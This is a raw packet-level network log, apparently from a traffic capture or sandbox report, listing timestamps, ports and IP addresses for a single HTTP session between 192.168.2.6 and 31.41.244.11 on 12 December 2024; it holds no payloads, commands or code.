Dec 12, 2024 21:50:46.808731079 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.808731079 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.808759928 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.809614897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.809694052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.809695959 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.809740067 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.810760975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.810803890 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.810844898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.810884953 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.811942101 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.812005043 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.812066078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.812114000 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.813085079 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.813131094 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.813189030 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.813232899 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.814295053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.814342022 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.814380884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.814420938 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.815381050 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.815428972 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.815491915 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.815536022 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.816545010 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.816675901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.816839933 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.817717075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.817806005 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.817811012 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.817884922 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.818907976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.818959951 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.819024086 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.819067001 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.820090055 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.820136070 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.820205927 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.820250034 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.821232080 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.821293116 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.821321011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.821367979 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.822312117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.822361946 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.822468996 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.822515965 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.823477030 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.823523045 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.823729038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.823776007 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.824632883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.824683905 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.824733973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.824794054 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.825787067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.825848103 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.825884104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.825933933 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.826998949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.827068090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.827157021 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.828097105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.828223944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.829240084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.829296112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.830401897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.830457926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.831157923 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.831510067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.831644058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.832686901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.832772970 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.833806992 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.833924055 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.834800005 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.835038900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.835091114 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.835144997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.835186005 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.836117983 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.836159945 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.836317062 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.836357117 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.837341070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.837390900 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.837743998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.837786913 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.838440895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.838480949 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.838562012 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.838603973 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.839647055 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.839690924 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.839869976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.839910984 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.840692997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.840735912 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.840766907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.840805054 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.841885090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.841936111 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.842053890 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.842096090 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.843002081 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.843049049 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.843142033 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.843183994 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.844139099 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.844185114 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.850873947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.850938082 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.850967884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.851016998 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.851389885 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.851437092 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.851470947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.851514101 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.852613926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.852658033 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.852709055 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.852752924 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.853681087 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.853724003 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.853790045 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.853831053 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.854800940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.854845047 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.854899883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.854943991 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.855988026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.856036901 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.856071949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.856116056 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.857168913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.857247114 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.857300997 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.857335091 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.983427048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.983494043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.983572960 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.983645916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.983705997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.983803988 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.983942032 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.984920979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.984973907 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.984997988 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.985039949 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.986036062 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.986085892 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.986093044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.986139059 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.986840010 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.986886978 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.986959934 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.987004042 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.988046885 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.988147020 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.988651991 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.989201069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.989254951 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.989308119 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.989360094 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.990305901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.990423918 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.991482973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.991605043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.992575884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.992665052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.993721962 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.993751049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.993859053 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.993921041 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.994091034 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.995014906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.995059967 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.995095015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.995138884 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.996237993 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.996284962 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.996325016 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.996370077 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.997621059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.997735023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.998224974 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.998796940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.998882055 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.998903036 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.998955011 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.999867916 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.999916077 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.999938011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.999984026 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.000834942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.000880957 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.000901937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.000946999 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.001799107 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.001846075 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.001888990 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.001934052 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.002973080 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.003031015 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.003070116 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.003124952 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.004192114 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.004245996 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.004323959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.004379034 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.005261898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.005316973 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.005378962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.005433083 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.006406069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.006460905 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.006526947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.006581068 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.007555008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.007611990 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.007688999 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.007951975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.008713007 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.008816004 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.008856058 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.008869886 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.009876966 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.009936094 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.009977102 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.010029078 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.011009932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.011065006 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.011138916 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.011192083 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.012168884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.012228966 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.012305021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.012365103 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.013308048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.013384104 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.013447046 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.013561964 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.014482975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.014565945 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.014641047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.014760971 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.015652895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.015729904 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.015746117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.015825987 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.016819000 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.016900063 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.016959906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.017039061 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.017931938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.018013000 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.018075943 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.018153906 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.019098043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.019198895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.019224882 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.019310951 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.020219088 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.020302057 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.020306110 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.020389080 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.021408081 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.021488905 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.021502972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.021588087 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.022499084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.022578001 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.022643089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.022716999 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.023660898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.023741961 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.023792028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.023907900 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.024837971 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.024916887 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.024943113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.025002003 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.025964022 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.026043892 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.026098967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.026182890 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.027117014 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.027196884 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.027226925 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.027278900 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.028248072 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.028367043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.029402018 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.029501915 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.030479908 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.030579090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.030668974 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.030677080 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.030739069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.031707048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.031847954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.032870054 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.033001900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.034020901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.034157038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.034455061 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.035243988 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.035386086 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.036354065 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.038212061 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.042865038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.042932987 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.043000937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.043051958 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.043399096 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.043447971 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.043510914 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.043560028 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.044570923 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.044620037 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.044683933 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.044733047 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.045715094 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.045763016 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.045842886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.045891047 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.046891928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.046941042 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.046993971 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.047041893 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.048010111 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.048058987 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.048140049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.049168110 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.049524069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.050822020 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.175865889 CET	80	49971	31.41.244.11	192.168.2.6
